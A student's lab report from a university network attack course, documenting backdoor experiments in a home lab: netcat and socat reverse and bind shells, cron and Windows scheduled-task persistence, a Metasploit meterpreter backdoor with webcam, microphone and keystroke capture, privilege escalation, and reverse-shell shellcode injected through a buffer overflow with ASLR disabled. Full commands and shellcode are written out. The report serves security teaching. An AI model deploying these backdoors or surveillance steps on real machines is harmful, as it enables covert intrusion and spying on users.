exp2

目录

2020-2021-2 20181217《网络对抗技术》 Exp2 后门原理与实践

实验准备

  实验过程

实验总结

实验准备

1、netcat的学习

  • netcat是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
  • Linux中一般自带ncat,可以使用man netcatman nc可查看其使用说明
windows 获取 linux 的shell
  • 在Windows下使用ipconfig查看本机IP为192.168.1.138

    在Windows使用ncat.exe程序监听本机的1217端口ncat.exe -l -p 1217

  • 在 linux 中反弹连接Windows,nc 192.168.1.138 1217 -e /bin/sh,使用-e选项执行shell程序

  • Windows成功获得 linux 的shell

linux 获取 windows 的shell

首先关闭kali 的防火墙。

linux下查看使用ip addrIP地址192.168.160.128

 在linux端使用nc -l -p 1217指令监听1217端口

 在Windows下,使用ncat.exe -e cmd.exe 192.168.160.128 1217指令反向连接 linux 主机的1217端口

 

 linux 成功看到Windows的命令提示,使用dir查看E: cat cat文件目录

使用nc传输数据
  • Windows下使用ncat.exe -l 1217指令监听1217端口

  • linux 使用nc 192.168.43.98 1217指令反弹连接到Windows的1217端口

nc传输文件
  • linux 向Windows中传输文件
    • Windows中通过ncat.exe -l 1217> mess.out监听1217 端口,并把收到的数据保存到mess.out中
    • linux 反弹连接Windows的1217 端口nc 192.168.1.138 1217 < mess.in,Windows可以收到kali发来的文件

      可以在目录下找到mess.out,打开后可以看到内容与mess.in一致

    将文件从Windows传给kali首先要将kali虚拟机的ssh服务端口打开,之后就只需使kali监听1217端口,Windows反弹连接kali的1217端口,建立成功后,kali可以收到Windows发来的文件.

  • Windows向 linux 发送文件
  • kali中通过nc -l -p 1217 > 20181217.txt监听1217端口
  • Windows反弹连接linux的1217端口ncat.exe 192.168.160.128 1217 < csq.txt, linux可以收到Windows发来的文件

2、socat的学习

  • socat是ncat的增强版,它使用的格式是socat [options] <address> <address>,其中两个address是必选项,而options是可选项。
  • socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。

    实验过程

    1、使用netcat获取主机操作Shell,cron启动

  • windows使用ncat.exe -l -p 1217监听1217端口

 

Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。详细说明可man cron
  • crontab指令增加一条定时任务,-e表示编辑。在最后一行添加58 * * * * /bin/netcat 192.168.1.138 1217 -e /bin/sh每个时间段的第58分钟反向连接Windows主机的1217端口.

选择编译器是选3,vim(如果选错了,可以修改~默认nano)

  • :wq保存退出配置即生效,可通过crontab -l查看

 

 在系统时间19:58时,就发现获得kali shell。可以使用ls查看。

 

使用socat获取主机操作Shell, 任务计划启动。

win10系统中找到左下角的windows标志:右键-计算机管理-任务计划程序-创建任务

 

 常规中填写任务名称为exp2,点击触发器然后 新建触发器,我选择工作站锁定时然后点击确定。

 在操作中,导入你所下载解压后的socat.exe的路径,在添加参数中填入tcp-listen:1217 exec:cmd.exe,pty,stderr(把cmd.exe绑定到端口1217,同时把cmd.exestderr重定向到stdout上),创建完成之后,点击确定。

创建完成之后,按Windows+L快捷键锁定计算机,再次打开时,双击任务计划程序库可以发现之前创建的任务已经开始运行

 

 

 在kali中输入socat - tcp:192.168.1.138:1217(-代表标准的输入输出,第二个流连接到Windows主机的1217端口,IP为windows的IP),成功获得cmd shell

3、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  • 在kali中输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.160.128 LPORT=1217 -f exe > 20181217_backdoor.exe(IP为kali的IP)生成后门程序20181217_backdoor.exe(-f 生成文件的类型,-p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode,> 输出到哪个文件,LHOST 是反弹回连的IP,LPORT 是回连的端口)

在Windows中使用ncat.exe -lv 1217 > 20181217_backdoor.exe查看连接状态

 kali中输入nc 192.168.1.138 1217 < 20181217_backdoor.exe(此处的IP为Windows的IP)将生成的后门程序传送到Windows主机,传输成功。

 

  • 在linux中另外打开一个终端,msfconsole进入控制台
  • 输入use exploit/multi/handler使用监听模块,设置payload
  • 使用和生成后门程序时相同的payload:set payload windows/meterpreter/reverse_tcp
  • set LHOST 192.168.160.128此处为kali的IP(和生成后门程序时指定的IP相同)
  • 端口号也相同:set LPORT 1217
  • 设置完成后,exploit开始监听

 在Windows中先使用ctrl+c退出上条命令,在执行:20181217_backdoor.exe(注意电脑的防火墙和杀毒软件要关掉),发现kali获得Windows主机的连接,并且得到了远程控制的shell.

 

使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权


  • 可以使用record_mic可以截获一段音频.

 

  • 获取摄像头拍照:webcam_snap

 截屏:screenshot

 

 记录击键的过程:keyscan_start读取击键的记录:keyscan_dump

 查看当前用户:getuid ,提取权限:getsystem

加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

 1.参考学姐博客,点击shellcode,直接使用下载生成好的shellcode。

127.0.0.1(回环地址)

x31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80
  • 关闭地址随机化
execstack -s pwn20181217 //设置堆栈可执行

execstack -q pwn20181217 //查询文件的堆栈是否可执行

more /proc/sys/kernel/randomize_va_space //查看地址随机化的状态

echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化

同实验一,启用gdb调试进程,attach 进程号与进程建立连接
输入指令 disassemble foo 对foo函数进行反汇编。
然后设置断点,来查看注入buf的内存地址。指令为:break *0x080484ae
然后回到刚开始的终端手动回车一下,然后回到调试的终端,输入指令 c 继续。
接下来输入指令info r esp 查看查看栈顶指针所在的位置,并查看改地址存放的数据
发现x4x3x2x1果然出现在栈顶,就是返回地址的位置。shellcode就挨着,所以地址是0xffffd1ac+4=0xffffd1b0。

  • 将反弹连接Shellcode放入,生成shellcodeinput文件
perl -e 'print "A" x 32;print"xb0xd1xffxffx31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80"' > shellcodeinput
  • 在新终端b中启动msfconsole
use exploit/multi/handler     //用于设置payload
set payload linux/x86/shell_reverse_tcp
set LHOST 127.0.0.1              //设置IP为回环地址
set LPORT 4444        //根据代码设置端口
exploit   //设置完成开始监听
  • 另一个终端(cat shellcodeinput;cat) | ./pwn20181217,成功获得shell

 可见,成功实现。

2.用自己kali的ip地址

来补充一下上面的shellcode注入!

生成一段shellcode:

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.43.48 LPORT=1217 -f c 

 和上面一样,找到返回地址。

  • 将反弹连接Shellcode放入,生成shellcodeinput2文件
  • perl -e 'print "A" x 32;print"xb0xd1xffxffx31xdbxf7xe3x53x43x53x6ax02x89xe1xb0x66xcdx80x93x59xb0x3fxcdx80x49x79xf9x68xc0xa8x2bx30x68x02x00x04xc1x89xe1xb0x66x50x51x53xb3x03x89xe1xcdx80x52x68x6ex2fx73x68x68x2fx2fx62x69x89xe3x52x53x89xe1xb0x0bxcdx80"'> shellcodeinput2
  • 接下来
    • 在新终端b中启动msfconsole
    use exploit/multi/handler     //用于设置payload
    set payload linux/x86/shell_reverse_tcp
    set LHOST 192.168.43.48              //设置IP为回环地址
    set LPORT 1217        //根据代码设置端口
    exploit   //设置完成开始监听
  • 另一个终端(cat shellcodeinput;cat) | ./pwn20181217-2,成功获得shell

 由此可知,实验成功!

 

实验总结

实验过程中遇到的问题

      实验过程遇到挺多问题的,比如在完成第一部分的linux获取windows的shell部分,一直显示主机无法访问,关闭虚拟机防火墙、主机防火墙之后重启电脑,之后主机windows可以ping通虚拟机的ip,因此也可实现该部分。但在下一次开机时,再重新ping虚拟机ip时,可能又会显示TTL失效,再此无法访问虚拟机。这时,如果再重启电脑,我们就发现它又成功了。但是好在这些问题是都可以得到解决的。

基础问题回答

  • 例举你能想到的一个后门进入到你系统中的可能方式?
    在网页版下载软件的安装包,下载盗版软件,自己的手机因为没电连接别人电脑进行充电
  • 例举你知道的后门如何启动起来(win及linux)的方式?
    linux通过修改linux的cron程序和注入shellcode开启后门
    windows通过木马启动后门
  • Meterpreter有哪些给你映像深刻的功能?
    通过后门进行截屏、开启摄像头、录音获取信息
  • 如何发现自己有系统有没有被安装后门?
    开启windows defender,查看注册表信息,杀毒软件杀毒

 

 

实验体会

      在这次实验过程中,通过看学长学姐的博客,以及亲自动手实践收获了很多,比如知道了原来可以通过一台电脑监听、控制另一台电脑,获取截屏、摄像等权限以及输入的字符,对如何做一个后门以及如何启动后门有了一个更加深入的了解。

原文地址:https://www.cnblogs.com/cindy123456/p/14514893.html